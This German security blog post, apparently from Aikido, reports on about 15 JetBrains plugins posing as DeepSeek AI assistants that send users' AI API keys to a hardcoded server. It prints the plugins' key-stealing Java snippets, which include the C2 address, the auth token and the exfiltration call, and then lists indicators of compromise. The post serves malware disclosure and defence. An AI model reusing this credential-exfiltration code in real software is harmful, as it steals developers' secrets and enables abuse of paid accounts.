Wir haben eine koordinierte Malware-Kampagne auf dem JetBrains Marketplace entdeckt. Mindestens 15 IDE-Plugins, veröffentlicht unter sieben Anbieterkonten, teilen dasselbe versteckte Verhalten. Jedes exfiltriert den API-Schlüssel des KI-Anbieters, den Sie in seinen Einstellungen gespeichert haben, und zusammen wurden sie fast 70.000 Mal installiert.
Jedes Plugin gibt sich als KI-Code-Assistent aus, der auf DeepSeek und anderen großen Sprachmodellen basiert und Chat, Commit-Nachrichten, Code-Reviews, Fehlererkennung und Unit-Tests bietet. Sie funktionieren genau wie beworben. Der von Ihnen eingegebene API-Schlüssel des KI-Anbieters wird jedoch an einen vom Angreifer kontrollierten Server exfiltriert.
Die frühesten Versionen erschienen Ende Oktober 2025, und neue werden noch im Juni 2026 veröffentlicht. Der tatsächliche Einfluss ist schwer zu messen, da Download-Zahlen von Anbietern leicht manipuliert werden können und die Marketplace-Einträge auch gefälschte Fünf-Sterne-Bewertungen enthalten.
Die betroffenen Plugins sind am Ende des Artikels aufgeführt.
Wie der Diebstahl funktioniert
Alle fünfzehn Plugins teilen sich eine ähnliche Codebasis, die für jedes Listing umbenannt und neu verpackt wurde. Um eines davon zu verwenden, öffnet man das Einstellungsfeld und fügt einen API-Schlüssel für einen Anbieter wie OpenAI, SiliconFlow oder DeepSeek ein. Das Plugin benötigt diesen Schlüssel, um das Modell in Ihrem Namen aufzurufen, daher erscheint die Übergabe routinemäßig.
Sobald Sie auf „Anwenden“ klicken, speichert der Einstellungs-Handler Ihren Schlüssel und leitet ihn auch an den Angreifer weiter, indem er die save() Methode verwendet. Der Aufruf erfolgt sofort bei der Schlüsseleingabe, ohne Aufforderung, ohne Zustimmungsbildschirm und ohne jegliche Erwähnung in der Benutzeroberfläche.
// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
SoftwareDto dto = new SoftwareDto();
dto.setApiKey(key); // your provider secret
BaseUtil.request("key", dto); // shipped off to the attacker server
}
}
// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKeyDas Ziel ist ein fest codierter Server unter 39.107.60[.]51 der über unverschlüsseltes HTTP erreicht wird und mit einem statischen Token authentifiziert ist, das fest in das Plugin codiert wurde. Ihr Schlüssel wird im Klartext an eine Adresse gesendet, die nichts mit einem legitimen KI-Anbieter zu tun hat.
Die Plugins bieten auch eine kostenpflichtige Stufe an. Nachdem ein Benutzer eine geringe Gebühr über die in das Plugin integrierte Spendenwand bezahlt hat, sendet der Server einen API-Schlüssel an den Client zurück, und das Plugin beginnt, diesen Schlüssel für seine Modellaufrufe anstelle des eigenen zu verwenden, was bizarr ist, da kein legitimer Betreiber einem Benutzer einfach einen funktionierenden und uneingeschränkten Schlüssel zu einem kostenpflichtigen KI-Anbieter aushändigen würde.
WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
key = data.getApiKey(); // a key handed back by the attacker server
}
// the plugin always prefers the server supplied key
public static String getKey() {
return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}Eine mögliche Theorie ist, dass eine Gruppe von Opfern ihre eigenen Schlüssel einfügt, die der Server sammelt. Eine zweite Gruppe bezahlt den Betreiber und erhält im Gegenzug einen funktionierenden Schlüssel. Die an zahlende Benutzer ausgehändigten Schlüssel könnten durchaus die Schlüssel sein, die von allen anderen gestohlen wurden, wodurch die Kampagne zu einem Dienst wird, der den gestohlenen API-Zugang anderer Personen weiterverkauft. Der Betreiber kassiert auf der einen Seite Geld und auf der anderen Seite kostenlose Zugangsdaten, während die echten Schlüsselbesitzer die Rechnung bezahlen.
Warum Angreifer immer wieder IDEs ins Visier nehmen
Editor-Plugin-Ökosysteme sind zu einem häufigen Ziel von Lieferkettenangriffen geworden, mit laufenden Kampagnen wie GlassWorm, die VS Code betreffen. Entwickelnde-Maschinen sind ein hochwertiges Ziel, und die IDE steht im Mittelpunkt. Sie enthält Quellcode, Cloud-Zugangsdaten, Signierschlüssel und jetzt auch die API-Schlüssel für kostenpflichtige KI-Dienste, die weiterverkauft oder für Rechenleistung verbraucht werden können. Ein Plugin läuft unsandboxed innerhalb der IDE, in einem Tool, dem Menschen vertrauen und das sie den ganzen Tag geöffnet lassen, was es zu einem idealen Versteck für Code macht, der sich nur im Hintergrund fehlverhält.
JetBrains-Plugins durchlaufen zwar einen manuellen Überprüfungsprozess, bevor sie den Marktplatz erreichen, doch ein kleines Stück Logik, das in einem ansonsten funktionierenden Plugin vergraben ist, kann immer noch durchrutschen. Behandeln Sie ein Plugin genauso wie jede andere Abhängigkeit, die mit Ihren Berechtigungen ausgeführt wird, und seien Sie vorsichtig, wenn Sie langlebige Secrets in Tools einfügen, die Sie nicht überprüft haben.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
Netzwerkindikatoren
- C2-Server-IP:
39.107.60[.]51
Betroffene Plugins (Name und Plugin-ID)
- DeepSeek Junit Test (
org.sm.yms.toolkit) – 1.121 Downloads, veröffentlicht 31.10.2025 - DeepSeek Git Commit (
com.json.simple.kit) – 1.894 Downloads, veröffentlicht 01.11.2025 - DeepSeek FindBugs (
org.bug.find.tools) – 1.485 Downloads, veröffentlicht 09.11.2025 - DeepSeek AI Chat (
org.translate.ai.simple) – 1.317 Downloads, veröffentlicht 2025-11-23 - DeepSeek Dev AI (
com.yy.test.ai.simple) – 740 Downloads, veröffentlicht 2025-11-30 - DeepSeek AI Coding (
com.dev.ai.toolkit) – 450 Downloads, veröffentlicht 2025-12-06 - AI FindBugs (
com.json.view.simple) – 623 Downloads, veröffentlicht 2025-12-14 - AI Git Commitor (
com.my.git.ai.kit) – 301 Downloads, veröffentlicht 2026-01-10 - AI Coder Review (
org.check.ai.ds) – 735 Downloads, veröffentlicht 2026-01-11 - DeepSeek Coder AI (
com.review.tool.code) – 3.498 Downloads, veröffentlicht 2026-01-15 - AI Coder Assistant (
org.code.assist.dev.tool) – 319 Downloads, veröffentlicht 2026-02-01 - DeepSeek Code Review (
com.coder.ai.dpt) – 278 Downloads, veröffentlicht am 18.04.2026 - CodeGPT AI Assistant (
com.my.code.tools) – 25.571 Downloads, veröffentlicht am 09.06.2026 - DeepSeek AI Assist (
ord.cp.code.ai.kit) – 27.727 Downloads, veröffentlicht am 10.06.2026 - Coding Simple Tool (
com.dp.git.ai.tool) – 3.931 Downloads, keine Online-Versionen verfügbar
Anbieterkonten
- CodePilot (mycode)
- StackSmith (misshewei)
- CodeCrafter (keteme)
- CodeWeaver (simpledev)
- JetCode (skyblue)
- DailyCode (dialycode)
- ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)

